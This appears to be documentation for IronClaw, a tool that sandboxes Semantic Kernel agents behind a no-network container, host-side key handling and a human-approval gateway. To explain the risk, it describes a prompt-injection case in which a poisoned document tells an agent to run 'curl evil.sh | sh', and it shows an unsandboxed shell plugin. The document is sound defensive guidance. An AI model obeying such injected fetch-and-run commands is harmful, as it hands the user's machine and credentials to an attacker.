Sandbox your Semantic Kernel agent with IronClaw¶
You built an agent with Semantic Kernel (Microsoft): a Kernel, a chat
service, and a set of plugins — native @kernel_functions the model can call,
often a shell or code function so the agent can "just run it." That is a great way
to design the behavior. The problem starts when it runs somewhere real: SK's
function-calling loop executes your kernel functions in your own process, with
your API key in memory and unrestricted outbound network. One prompt-injected
instruction and that same process can read your environment, exfiltrate over the
network, or run a command you never intended.
IronClaw runs the same job behind a sealed sandbox instead: no network card, the model key held host-side and never in the agent, and every privileged function call routed through a human-approval gateway and an audit log.
Runnable example
A one-command Semantic-Kernel-to-IronClaw example lives at
examples/integrations/semantic-kernel:
a native SK plugin (sandboxed_shell) whose commands run inside a real IronClaw
per-session sandbox, with a blocked escape attempt printed at the end. It ships
with the integration examples. The credential-free demo below runs the same
sealed loop today.
The two-shape fix¶
There are two ways to sandbox a Semantic Kernel agent, and you can use either.
1. Keep the kernel, swap the plugin. Replace the host-executing function you register with one that runs every command inside an IronClaw sandbox. The kernel plans the function calls exactly as before; only the execution moves into the box:
from ironclaw_sandbox import IronClawSandbox
from ironclaw_tool import make_sandbox_tool
with IronClawSandbox() as sandbox:
plugin = make_sandbox_tool(sandbox) # a real SK native plugin
kernel.add_plugin(plugin, plugin_name="ironclaw")
That plugin's sandboxed_shell @kernel_function is a drop-in for a host shell
function: no network, no host filesystem, no Docker socket. The full adapter is
~15 lines — see
ironclaw_tool.py.
2. Re-declare the agent to IronClaw. Or move the whole agent behind IronClaw and let the control-plane own the model key and the perimeter:
export OPENAI_API_KEY=sk-... # host-side only; the sandbox never sees this key
./bin/controlplane --dev --api-addr 127.0.0.1:8787 &
ironctl agent create --name "Coder" --provider openai --model gpt-4o \
--instructions "Run the commands the user asks for." \
--tool read_file --tool write_file --yes
Same persona, same model, same functions, now behind a human-approval gateway and an audit log.
Why sandbox this¶
A typical Semantic Kernel plugin runs on your host with your privileges:
from semantic_kernel.functions import kernel_function
class ShellPlugin:
@kernel_function(name="run_shell")
def run_shell(self, command: str) -> str: # runs on YOUR box, YOUR privileges
import subprocess
return subprocess.run(command, shell=True, capture_output=True, text=True).stdout
kernel.add_plugin(ShellPlugin(), plugin_name="shell")
Three things are true of that snippet, and all three are risks:
- The key is in the process. Anything that can read memory or
os.environcan readsk-.... - Functions run with your privileges.
run_shellexecutes on your box with your filesystem and network. A poisoned document that says "runcurl evil.sh | sh" is a function call away. - Egress is wide open. The process can reach any host on the internet.
IronClaw closes all three by construction, not by convention.
See it work first (no credentials)¶
Watch the sealed loop run with the offline mock provider. No model key, no
tokens, just Docker:
git clone https://github.com/IronSecCo/ironclaw.git && cd ironclaw
docker compose -f docker-compose.demo.yml up --build -d # start the demo control-plane
curl -s -X POST http://127.0.0.1:8787/v1/ui/chat/send \
-H 'authorization: Bearer ironclaw-demo' -H 'content-type: application/json' \
-d '{"agentGroupID":"mock-agent","text":"hello from kernel-land"}'
sleep 3
curl -s -H 'authorization: Bearer ironclaw-demo' \
http://127.0.0.1:8787/v1/ui/chat/mock-agent/messages # the reply
You get the reply echoed back, proof that a real per-session sandbox launched and
the answer flowed home through encrypted queues. Tear down with
docker compose -f docker-compose.demo.yml down. The one-command, self-checking
version is
examples/integrations/semantic-kernel.
Port your Semantic Kernel agent¶
Map each part of the kernel onto an IronClaw agent group:
| Semantic Kernel | IronClaw | Notes |
|---|---|---|
OpenAIChatCompletion(ai_model_id="gpt-4o") |
--provider openai --model gpt-4o |
Any provider: anthropic, openai, gemini, local, and more. |
| API key on the chat service | OPENAI_API_KEY set on the host |
The key is injected by the host model-proxy on the way out. It never enters the sandbox. |
| System prompt / persona | --identity / --soul / --instructions |
The agent's persona, voice, and operating rules. |
Native plugins (@kernel_function) |
--tool <name> (built-in) or an MCP server |
Built-ins: read_file, write_file, list_dir, web_search, http_fetch. Your own functions attach over MCP. |
kernel.invoke(...) with FunctionChoiceBehavior.Auto() |
a message to the agent group | Same request/response, now through the sealed queue. |
Your kernel functions that are not built in attach as an MCP server: IronClaw registers them through the same human-approval gateway, so a new function is a reviewed change, not a silent capability.
What you gained¶
- The key left the agent. It lives host-side and is injected per request; a compromised agent has nothing to steal.
network=noneby default. The sandbox has no NIC. The only egress is the audited model-proxy socket, plus whatever hosts you explicitly allowlist.- Privileged actions are gated. Registering a function, spawning another agent, or reaching a new host flows through a human-approval gateway and lands in the audit log.
Same agent you designed in Semantic Kernel. A perimeter it never had.